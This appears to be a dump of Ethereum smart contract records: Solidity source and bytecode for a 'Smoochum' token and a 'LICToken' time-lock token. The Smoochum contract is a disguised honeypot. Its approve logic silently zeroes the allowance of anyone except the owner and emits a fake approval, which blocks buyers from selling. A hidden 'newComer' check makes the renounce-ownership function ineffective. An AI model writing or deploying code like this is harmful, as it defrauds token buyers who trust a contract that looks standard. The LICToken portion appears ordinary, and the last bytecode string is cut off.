| : ;_ | | ,', | ':; | ; \ ; |; | ; \ ; |. ; /--` : : |.' |,'_ /| : . | | | ,', | ':
\ \ `. | | / | | ||| : | ; | '| : | ; | '; | ; | ' ' ; :| ' | | . . | | / | | ||
`----. \' | : | : |,. | ' ' ' :. | ' ' ' :| : | ' | .'. || | ' | | | ' | : | : |,
__ \ \ |; . | ; |--' ' ; \; / |' ; \; / |. | '___ | | : | ': | | : ' ; ; . | ; |--'
/ /`--' /| : | | , \ \ ', / \ \ ', / ' ; : .'|' : | : ;| ; ' | | ' | : | | ,
'--'. / | : ' |/ ; : / ; : / ' | '/ :| | ' ,/ : | : ; ; | | : ' |/
`--'---' ; | |`-' \ \ .' \ \ .' | : / ; : ;--' ' : `--' \; | |`-'
| ;/ `---` `---` \ \ .' | ,/ : , .-./| ;/
'---' `---` '---' `--`----' '---'
https://t.me/Smoochum
*/
//* SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract Smoochum is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 10* 10**11* 10**18;
string private _name = 'Smoochum';
string private _symbol = 'Smoochum';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220a5402871a5a59d844ee5a4323a89f1a9d2649a664f97b7782872a75551a52fd064736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 5,911 |
0xe8aeaf2777aa2c6d3d4312b07ac2ead1cf92040e
|
pragma solidity ^0.4.18;
contract DSNote {
event LogNote(
bytes4 indexed sig,
address indexed guy,
bytes32 indexed foo,
bytes32 indexed bar,
uint wad,
bytes fax
) anonymous;
modifier note {
bytes32 foo;
bytes32 bar;
assembly {
foo := calldataload(4)
bar := calldataload(36)
}
LogNote(msg.sig, msg.sender, foo, bar, msg.value, msg.data);
_;
}
}
contract DSAuthority {
function canCall(
address src, address dst, bytes4 sig
) public constant returns (bool);
}
contract DSAuthEvents {
event LogSetAuthority (address indexed authority);
event LogSetOwner (address indexed owner);
}
contract DSAuth is DSAuthEvents {
DSAuthority public authority;
address public owner;
function DSAuth() public {
owner = msg.sender;
emit LogSetOwner(msg.sender);
}
function setOwner(address owner_)
public auth
{
owner = owner_;
LogSetOwner(owner);
}
function setAuthority(DSAuthority authority_)
public auth
{
authority = authority_;
LogSetAuthority(authority);
}
modifier auth {
assert(isAuthorized(msg.sender, msg.sig));
_;
}
modifier authorized(bytes4 sig) {
assert(isAuthorized(msg.sender, sig));
_;
}
function isAuthorized(address src, bytes4 sig) internal returns (bool) {
if (src == address(this)) {
return true;
} else if (src == owner) {
return true;
} else if (authority == DSAuthority(0)) {
return false;
} else {
return authority.canCall(src, this, sig);
}
}
}
contract DSStop is DSAuth, DSNote {
bool public stopped;
modifier stoppable {
assert (!stopped);
_;
}
function stop() public auth note {
stopped = true;
}
function start() public auth note {
stopped = false;
}
}
contract DSMath {
/*
standard uint256 functions
*/
function add(uint256 x, uint256 y) constant internal returns (uint256 z) {
assert((z = x + y) >= x);
}
function sub(uint256 x, uint256 y) constant internal returns (uint256 z) {
assert((z = x - y) <= x);
}
function mul(uint256 x, uint256 y) constant internal returns (uint256 z) {
assert((z = x * y) >= x);
}
function div(uint256 x, uint256 y) constant internal returns (uint256 z) {
z = x / y;
}
function min(uint256 x, uint256 y) constant internal returns (uint256 z) {
return x <= y ? x : y;
}
function max(uint256 x, uint256 y) constant internal returns (uint256 z) {
return x >= y ? x : y;
}
/*
uint128 functions (h is for half)
*/
function hadd(uint128 x, uint128 y) constant internal returns (uint128 z) {
assert((z = x + y) >= x);
}
function hsub(uint128 x, uint128 y) constant internal returns (uint128 z) {
assert((z = x - y) <= x);
}
function hmul(uint128 x, uint128 y) constant internal returns (uint128 z) {
assert((z = x * y) >= x);
}
function hdiv(uint128 x, uint128 y) constant internal returns (uint128 z) {
z = x / y;
}
function hmin(uint128 x, uint128 y) constant internal returns (uint128 z) {
return x <= y ? x : y;
}
function hmax(uint128 x, uint128 y) constant internal returns (uint128 z) {
return x >= y ? x : y;
}
/*
int256 functions
*/
function imin(int256 x, int256 y) constant internal returns (int256 z) {
return x <= y ? x : y;
}
function imax(int256 x, int256 y) constant internal returns (int256 z) {
return x >= y ? x : y;
}
/*
WAD math
*/
uint128 constant WAD = 10 ** 18;
function wadd(uint128 x, uint128 y) constant internal returns (uint128) {
return hadd(x, y);
}
function wsub(uint128 x, uint128 y) constant internal returns (uint128) {
return hsub(x, y);
}
function wmul(uint128 x, uint128 y) constant internal returns (uint128 z) {
z = cast((uint256(x) * y + WAD / 2) / WAD);
}
function wdiv(uint128 x, uint128 y) constant internal returns (uint128 z) {
z = cast((uint256(x) * WAD + y / 2) / y);
}
function wmin(uint128 x, uint128 y) constant internal returns (uint128) {
return hmin(x, y);
}
function wmax(uint128 x, uint128 y) constant internal returns (uint128) {
return hmax(x, y);
}
/*
RAY math
*/
uint128 constant RAY = 10 ** 27;
function radd(uint128 x, uint128 y) constant internal returns (uint128) {
return hadd(x, y);
}
function rsub(uint128 x, uint128 y) constant internal returns (uint128) {
return hsub(x, y);
}
function rmul(uint128 x, uint128 y) constant internal returns (uint128 z) {
z = cast((uint256(x) * y + RAY / 2) / RAY);
}
function rdiv(uint128 x, uint128 y) constant internal returns (uint128 z) {
z = cast((uint256(x) * RAY + y / 2) / y);
}
function rpow(uint128 x, uint64 n) constant internal returns (uint128 z) {
// This famous algorithm is called "exponentiation by squaring"
// and calculates x^n with x as fixed-point and n as regular unsigned.
//
// It's O(log n), instead of O(n) for naive repeated multiplication.
//
// These facts are why it works:
//
// If n is even, then x^n = (x^2)^(n/2).
// If n is odd, then x^n = x * x^(n-1),
// and applying the equation for even x gives
// x^n = x * (x^2)^((n-1) / 2).
//
// Also, EVM division is flooring and
// floor[(n-1) / 2] = floor[n / 2].
z = n % 2 != 0 ? x : RAY;
for (n /= 2; n != 0; n /= 2) {
x = rmul(x, x);
if (n % 2 != 0) {
z = rmul(z, x);
}
}
}
function rmin(uint128 x, uint128 y) constant internal returns (uint128) {
return hmin(x, y);
}
function rmax(uint128 x, uint128 y) constant internal returns (uint128) {
return hmax(x, y);
}
function cast(uint256 x) constant internal returns (uint128 z) {
assert((z = uint128(x)) == x);
}
}
contract ERC20 {
function totalSupply() public constant returns (uint supply);
function balanceOf( address who ) public constant returns (uint value);
function allowance( address owner, address spender ) public constant returns (uint _allowance);
function transfer( address to, uint value) public returns (bool ok);
function transferFrom( address from, address to, uint value) public returns (bool ok);
function approve( address spender, uint value ) public returns (bool ok);
event Transfer( address indexed from, address indexed to, uint value);
event Approval( address indexed owner, address indexed spender, uint value);
}
contract DSTokenBase is ERC20, DSMath {
uint256 _supply;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _approvals;
function DSTokenBase(uint256 supply) public {
_balances[msg.sender] = supply;
_supply = supply;
}
function totalSupply() public constant returns (uint256) {
return _supply;
}
function balanceOf(address src) public constant returns (uint256) {
return _balances[src];
}
function allowance(address src, address guy) public constant returns (uint256) {
return _approvals[src][guy];
}
function transfer(address dst, uint wad) public returns (bool) {
assert(_balances[msg.sender] >= wad);
_balances[msg.sender] = sub(_balances[msg.sender], wad);
_balances[dst] = add(_balances[dst], wad);
Transfer(msg.sender, dst, wad);
return true;
}
function transferFrom(address src, address dst, uint wad) public returns (bool) {
assert(_balances[src] >= wad);
assert(_approvals[src][msg.sender] >= wad);
_approvals[src][msg.sender] = sub(_approvals[src][msg.sender], wad);
_balances[src] = sub(_balances[src], wad);
_balances[dst] = add(_balances[dst], wad);
Transfer(src, dst, wad);
return true;
}
function approve(address guy, uint256 wad) public returns (bool) {
_approvals[msg.sender][guy] = wad;
Approval(msg.sender, guy, wad);
return true;
}
}
contract LICToken is DSTokenBase(0), DSStop {
string public symbol = "LIC";
string public name = "LICToken";
uint256 public decimals = 8; // standard token precision. override to customize
struct TokenData {
uint count;
uint unlockTime;
}
mapping(address => TokenData[]) accs;
mapping(address => string) accsInfo;
function LICToken() public {
}
function transfer(address dst, uint wad) public stoppable note returns (bool) {
return super.transfer(dst, wad);
}
function transferFrom(
address src, address dst, uint wad
) public stoppable note returns (bool) {
return super.transferFrom(src, dst, wad);
}
function approve(address guy, uint wad) public stoppable note returns (bool) {
return super.approve(guy, wad);
}
function push(address dst, uint128 wad) public returns (bool) {
return transfer(dst, wad);
}
function pull(address src, uint128 wad) public returns (bool) {
return transferFrom(src, msg.sender, wad);
}
function mint(uint128 wad) public auth stoppable note {
assert(owner == msg.sender);
_balances[msg.sender] = add(_balances[msg.sender], wad);
_supply = add(_supply, wad);
}
function burn(uint128 wad) public auth stoppable note {
assert(owner == msg.sender);
_balances[msg.sender] = sub(_balances[msg.sender], wad);
_supply = sub(_supply, wad);
}
function transferByLock(address to,uint c,uint256 lockTime,uint stages) public {
assert(owner == msg.sender);
assert(_balances[msg.sender] >= c);
assert(stages >= 1);
uint256 nowtime = now;
assert(lockTime > nowtime);
_balances[msg.sender] = sub(_balances[msg.sender], c);
uint256 waittime = div(sub(lockTime, nowtime), stages);
for(uint i = 1; i <= stages; i++){
accs[to].push(TokenData(div(c, stages),add(now, mul(i, waittime))));
}
//发送事件
Transfer(msg.sender, to, c);
}
function unlock() public {
uint[] memory d_list = new uint[](accs[msg.sender].length);
uint dlen = 0;
for(uint i = 0 ; i < accs[msg.sender].length; i++ ) {
if ( accs[msg.sender][i].unlockTime < now){
_balances[msg.sender] = add(_balances[msg.sender], accs[msg.sender][i].count);
d_list[dlen] = i;
dlen++;
}
}
for(i = 0;i<dlen;i++){
delete (accs[msg.sender][d_list[i]]);
}
}
function getLockAccount(address addr, uint isAvailable) public constant returns (uint256) {
uint256 total = 0;
for(uint i = 0 ; i < accs[addr].length; i++ ) {
if ((isAvailable == 1) && (accs[addr][i].unlockTime > now)) {
continue;
}
total = add(total, accs[addr][i].count);
}
return total;
}
function setLockAccInfo(address addr, string info) public {
assert(owner == msg.sender);
accsInfo[addr] = info;
}
function getLockAccInfo(address addr) public constant returns (string) {
return accsInfo[addr];
}
}
|
0x608060405260043610610149576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461014e57806307da68f5146101de578063095ea7b3146101f557806313af40351461025a57806318160ddd1461029d57806323b872dd146102c8578063313ce5671461034d5780633452f51d1461037857806354e031cb146103ef57806369d3e20e1461047857806370a08231146104b757806375f12b211461050e5780637a9e5e4b1461053d5780638402181f146105805780638da5cb5b146105f757806390bc16931461064e57806395d89b411461068d578063a69df4b51461071d578063a9059cbb14610734578063be9a655514610799578063bf7e214f146107b0578063c51cd6ad14610807578063c533fc6814610868578063dd62ed3e14610924578063f06067ac1461099b575b600080fd5b34801561015a57600080fd5b506101636109fc565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101a3578082015181840152602081019050610188565b50505050905090810190601f1680156101d05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101ea57600080fd5b506101f3610a9a565b005b34801561020157600080fd5b50610240600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b9a565b604051808215151515815260200191505060405180910390f35b34801561026657600080fd5b5061029b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c74565b005b3480156102a957600080fd5b506102b2610d53565b6040518082815260200191505060405180910390f35b3480156102d457600080fd5b50610333600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5c565b604051808215151515815260200191505060405180910390f35b34801561035957600080fd5b50610362610e38565b6040518082815260200191505060405180910390f35b34801561038457600080fd5b506103d5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080356fffffffffffffffffffffffffffffffff169060200190929190505050610e3e565b604051808215151515815260200191505060405180910390f35b3480156103fb57600080fd5b50610476600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050610e64565b005b34801561048457600080fd5b506104b560048036038101908080356fffffffffffffffffffffffffffffffff169060200190929190505050610f15565b005b3480156104c357600080fd5b506104f8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061112f565b6040518082815260200191505060405180910390f35b34801561051a57600080fd5b50610523611178565b604051808215151515815260200191505060405180910390f35b34801561054957600080fd5b5061057e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061118b565b005b34801561058c57600080fd5b506105dd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080356fffffffffffffffffffffffffffffffff16906020019092919050505061126a565b604051808215151515815260200191505060405180910390f35b34801561060357600080fd5b5061060c611291565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561065a57600080fd5b5061068b60048036038101908080356fffffffffffffffffffffffffffffffff1690602001909291905050506112b7565b005b34801561069957600080fd5b506106a26114d1565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156106e25780820151818401526020810190506106c7565b50505050905090810190601f16801561070f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561072957600080fd5b5061073261156f565b005b34801561074057600080fd5b5061077f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061185f565b604051808215151515815260200191505060405180910390f35b3480156107a557600080fd5b506107ae611939565b005b3480156107bc57600080fd5b506107c5611a39565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561081357600080fd5b50610852600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611a5f565b6040518082815260200191505060405180910390f35b34801561087457600080fd5b506108a9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611bae565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156108e95780820151818401526020810190506108ce565b50505050905090810190601f1680156109165780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561093057600080fd5b50610985600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c8f565b6040518082815260200191505060405180910390f35b3480156109a757600080fd5b506109fa600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019092919080359060200190929190505050611d16565b005b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a925780601f10610a6757610100808354040283529160200191610a92565b820191906000526020600020905b815481529060010190602001808311610a7557829003601f168201915b505050505081565b610ac8336000357fffffffff0000000000000000000000000000000000000000000000000000000016611fb5565b1515610ad057fe5b60008060043591506024359050806000191682600019163373ffffffffffffffffffffffffffffffffffffffff166000357fffffffff00000000000000000000000000000000000000000000000000000000167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19163460003660405180848152602001806020018281038252848482818152602001925080828437820191505094505050505060405180910390a46001600460146101000a81548160ff0219169083151502179055505050565b6000600460149054906101000a900460ff16151515610bb557fe5b60008060043591506024359050806000191682600019163373ffffffffffffffffffffffffffffffffffffffff166000357fffffffff00000000000000000000000000000000000000000000000000000000167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19163460003660405180848152602001806020018281038252848482818152602001925080828437820191505094505050505060405180910390a4610c6a858561222e565b9250505092915050565b610ca2336000357fffffffff0000000000000000000000000000000000000000000000000000000016611fb5565b1515610caa57fe5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fce241d7ca1f669fee44b6fc00b8eba2df3bb514eed0f6f668f8f89096e81ed9460405160405180910390a250565b60008054905090565b6000600460149054906101000a900460ff16151515610d7757fe5b60008060043591506024359050806000191682600019163373ffffffffffffffffffffffffffffffffffffffff166000357fffffffff00000000000000000000000000000000000000000000000000000000167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19163460003660405180848152602001806020018281038252848482818152602001925080828437820191505094505050505060405180910390a4610e2d868686612320565b925050509392505050565b60075481565b6000610e5c83836fffffffffffffffffffffffffffffffff1661185f565b905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515610ebd57fe5b80600960008473ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffffffffffffffffffffffff